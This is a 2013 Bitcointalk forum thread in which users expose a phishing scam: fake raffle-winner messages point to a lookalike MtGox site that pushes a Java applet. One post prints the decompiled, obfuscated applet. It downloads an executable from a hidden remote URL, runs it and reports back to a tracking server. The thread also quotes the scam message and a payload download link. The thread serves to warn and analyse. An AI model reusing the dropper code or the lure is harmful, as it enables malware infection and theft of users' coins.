Pishing scammer! legitnick!

[iANDROID]

This guy was doing a free raffle up there:

https://bitcointalk.org/index.php?topic=246400.0

He send me a private message today:

Winners are as follows:
iAndroid
hashkey
danieldaniel
runam0k
BigBitz
Obama
juronimo
albert speer
hurro
bachelor

Congratulations on becoming one of the winners!  
Below is a mtgox redeemable code loaded with .5 btc.  I picked these up before mtgox cancelled code creation, so you can still redeem them. 
I will post code and mtgox link below.

Code: 5kx9d0d67ce4jr984xbe0

htpps://mtgox.com/redeem-code.htm/

Please post on the Winner announcement thread once you get your coins. Thanks and enjoy your extra coins!

As you can see this is not the URL of MtGox. He made the link to MtQox or something like this.
The link of HIS quote is going nowhere?
Code is not usable on MtGox.

[1714599461]

1714599461

[1714599461]

1714599461

[🏰 TradeFortress 🏰]

*Note to Mods* Approved by John K. to keep in General Discussion.

Great idea

[buysellbitcoin]

lol 

Quote from: legitnick on 03-07-2013, 10:39:38
Winners are as follows:
Sebastienurbain
halfawake
grm203
stelmoi
buysellbitcoin
Obama
juronimo
albert speer
hurro
bachelor


Congratulations on becoming one of the winners!   
Below is a mtgox redeemable code loaded with .5 btc.  I picked these up before mtgox cancelled code creation, so you can still redeem them. 
I've uploaded the codes, password to open .com file is legitnickiscool

htpps://mtgox.com/redeem-code.htm/

Please post on the Winner announcement thread once you get your coins. Thanks and enjoy your extra coins!

[freedomno1]

Beat me by a minute lol verifying I'll keep the second thread up but credits yours as first
https://bitcointalk.org/index.php?topic=246400.msg2612378
Winners are as follows:
candoo
Freedomno1
Ares
Palantir13
dwolfman
Obama
juronimo
albert speer
hurro
bachelor


Congratulations on becoming one of the winners!  
Below is a mtgox redeemable code loaded with .5 btc.  I picked these up before mtgox cancelled code creation, so you can still redeem them.  
I will post code and mtgox link below.

Code: 5kx9d0d67ce4jr984xbe0

htpps://mtgox.com/redeem-code.htm/

Please post on the Winner announcement thread once you get your coins. Thanks and enjoy your extra coins!

[far004]

He also sent me a message, obviously I had won as well...

Winners are as follows:
akabmikua
fishy
George900
Jdumond
far004
Obama
juronimo
albert speer
hurro
bachelor

The link pointed to tries to open a Java applet, which asks for "unrestricted access". In short, DO NOT allow unrestricted access to that site. Can someone please put a "SCAMMER" tag in front of his name? Maybe ban him as well???

[Evolyn]

hey, the real winners are:

Winners are as follows:
Evolyn
claycoins
Elwar
A Meteorite
Jgguy
Obama
juronimo
albert speer
hurro
bachelor

got the same scam pm (just five other winners).

stupid scammer :/

[freedomno1]

Re posting exact

Warning
Thread locked
Mailed to mods for verification
https://bitcointalk.org/index.php?topic=246400.msg2612378
Url links to mtqox with a q

Winners are as follows:
candoo
Freedomno1
Ares
Palantir13
dwolfman
Obama
juronimo
albert speer
hurro
bachelor


Congratulations on becoming one of the winners!   
Below is a mtgox redeemable code loaded with .5 btc.  I picked these up before mtgox cancelled code creation, so you can still redeem them. 
I will post code and mtgox link below.

Code: 5kx9d0d67ce4jr984xbe0

htpps://mtgox.com/redeem-code.htm/

Please post on the Winner announcement thread once you get your coins. Thanks and enjoy your extra coins!

[buysellbitcoin]

So at least now I learned a lesson

First that guy who was giving btc-e phishing links to wieners.. Now this guy

Why I still think, some one is willing to give away his Bitcoins like this

Lesson learned, move on..

@legitnick, enjoy BTC, Paswords ( or  whatever your .com file does ) you get from newbies...

Cheers

[buysellbitcoin]

Can someone please put a "SCAMMER" tag in front of his name? Maybe ban him as well???

You can update his trust rating at least for the moment

Cheers

[freedomno1]

Anyways I'm crediting this game to anyroll
Goes to delete other scam warning
iAndroid mind spelling phishing correct
Scam Warning Anyroll 2.0 Legitnick 5 BTC Draw

GAH I cannot delete topics on this board!
Mumble Request delete of mine to prevent duplication should have looked again

Please report all PM's to speed up delete

[far004]

Can someone please put a "SCAMMER" tag in front of his name? Maybe ban him as well???

You can update his trust rating at least for the moment

Cheers

Done.

[danattacker]

Yep, I got the same PM a little while ago. Noticed the jacked up htpps and then checked the link and noticed it was mtqox and not mtgox. I never clicked on the link. Did a little check on google and saw the java.jar and decided to not even attempt to go to the site.

[rme]

Decompiled Java Applet:

Code:

import java.applet.Applet;
import java.applet.AppletContext;
import java.io.File;
import java.io.FileOutputStream;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.util.Random;

public class Java extends Applet
{
  public String Author = "Created-By-FoxxySoftware|Want more? Visit us at foxxysoftware.blogspot.com!";
  public String[] AAA = { "7-3A3-3T3-3A3-" + "3D3-3P3-3P3-3A1-", "7-3e3-3m3-3o3-3h3-3" + ".3-3r3-3e3-3s3-3u3-1", "7-3r3-3i3-3d3-3p3-3m3-3t3-3.3" + "-3o3-3i3-3.3-3a3-3v3-3a3-3j3-1" };
  public int BBB = 0;
  public String[] CCC = { "\\", "//", Long.toString(Math.abs(new Random().nextLong()), 36) };

  public void init() {
    try {
      for (String str1 : this.AAA) {
        this.AAA[this.BBB] = new StringBuffer(str1).reverse().toString().replaceAll("[".concat("0") + "-".concat("9") + "]", "").replaceAll("-", "");
        String str2 = null;
        if (this.BBB == 0) str2 = System.getenv(this.AAA[this.BBB]); else str2 = System.getProperty(this.AAA[this.BBB]);
        if ((str2 != null) && (new File(str2).exists()) && (new File(str2).canWrite()) && (new File(str2).canExecute()) && (new File(str2).canRead()) && (new File(str2).isDirectory())) {
          this.AAA[0] = str2;
          break;
        }
        this.BBB += 1;
      }
      if (this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))] == "7-3A3-3".concat("T3-3A3-").toString() + "3D3-3P3-".concat("3P3-3A1-")) {
        System.exit(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"));
      }
      if (this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))].endsWith(this.CCC[0])) {
        this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))] = this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))].substring(0, this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))].length() - 1);
      }
      this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))] = this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))].replaceAll((this.CCC[1] + this.CCC[1].concat("5").concat("$").concat("4")).replaceAll("[".concat("0") + "-".concat("9") + "]", "").toString(), "");
      this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))] = (this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))] + this.CCC[0] + this.CCC[0] + this.CCC[2].replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "") + ".exe");

      if (IFK(new StringBuffer("exe.WMI/d752e7e16bb67fa737fc9a3450c9243b9f10017b/62311174/daolnwod/ten.tsohgr//:ptth").reverse().toString(), this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))], false, getAppletContext(), getDocumentBase()) == true)
        System.exit(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"));
    }
    catch (Exception localException) {
      System.exit(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"));
    }
  }

  public boolean IFK(String paramString1, String paramString2, boolean paramBoolean, AppletContext paramAppletContext, URL paramURL) {
    try {
      FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
      localFileOutputStream.getChannel().transferFrom(Channels.newChannel(new URL(paramString1).openStream()), 0L, 16777216L);
      localFileOutputStream.close();

      if (Runtime.getRuntime().exec(this.AAA[(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"))]) != null) {
        new URL("1h3t3t3p3:3/3/3w3w3w3.3s3u3p3e3r3-3t7".replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "") + "1r3a3c3k3e3r3.3n3e3t3/3w7".replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "").concat(new StringBuilder().append("1t3f3/3c3a3l3l3b3a3c3k3=3g3e3t7".replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "")).append("1i3p3.3j3s3.3p3h3p3?3u3s7".replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "")).toString()).concat(new StringBuilder().append("1e3r3n3a3m3e3=7".replaceAll(new StringBuilder().append("[".concat("0")).append("-".concat("9")).append("]").toString(), "")).append("bongwater").append("&website=").toString()) + paramURL.toString().concat("&type=1&download=").concat(new StringBuilder().append(new StringBuffer("exe.WMI/d752e7e16bb67fa737fc9a3450c9243b9f10017b/62311174/daolnwod/ten.tsohgr//:ptth").reverse().toString()).append("&").append("exploit=0").toString())).openStream();

        if (paramBoolean == true) {
          paramAppletContext.showDocument(new URL(""), "");
        }
      }
      else if (paramBoolean == true) {
        paramAppletContext.showDocument(new URL(""), "");
      }

      System.exit(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"));
    } catch (Exception localException) {
      System.exit(Integer.parseInt("0") + Integer.parseInt("3") + Integer.parseInt("5") - Integer.parseInt("2") - Integer.parseInt("3") - Integer.parseInt("3"));
    }
    return true;
  }
}

Virustotal Scan of a Executable that tries to download:
https://www.virustotal.com/es/file/79dabdcac50bdb5219906cfee9e1dd12ddc67106cd34867c08cfe14c8561ac83/analysis/1372922774/

[halfawake]

I can confirm this as well.  Tried to download, but thankfully my virus scanner caught it as a virus so my computer didn't get infected.

[PrintMule]

Such a nice setup, and so lame execution.

That phishing link could be done much better.

I hope it was worth the trouble, there's plenty of other way to trash your account than this.

[BadBear]

Banned and gave feedback to tank his trust.

In b4 he got 'hacked'.

[🏰 TradeFortress 🏰]

Banned and gave feedback to tank his trust.

In b4 he got 'hacked'.

Duh, he got phished by whoever runs the script.

[r3wt]

Banned and gave feedback to tank his trust.

In b4 he got 'hacked'.

Duh, he got phished by whoever runs the script.

nah, he's not banned. i just got a pm from him as well. i think he has been hacked though. why would an account with 536 activity start randomly scamming people.

[freedomno1]

Banned and gave feedback to tank his trust.

In b4 he got 'hacked'.

Duh, he got phished by whoever runs the script.

I'll admit that is weird stuff lot of not scam like posts to boost the count either
But as it stands now he is scamming and so should be banned if it is a hacked account

[brambi]

Banned and gave feedback to tank his trust.

In b4 he got 'hacked'.

Duh, he got phished by whoever runs the script.

I'll admit that is weird stuff lot of not scam like posts to boost the count either
But as it stands now he is scamming and so should be banned if it is a hacked account

It looks like I am in trouble, got winning PM too and downloaded and opened the file from there _>>>  http://pl.rghost.net/47200539?r=2862

Can anyone check this please?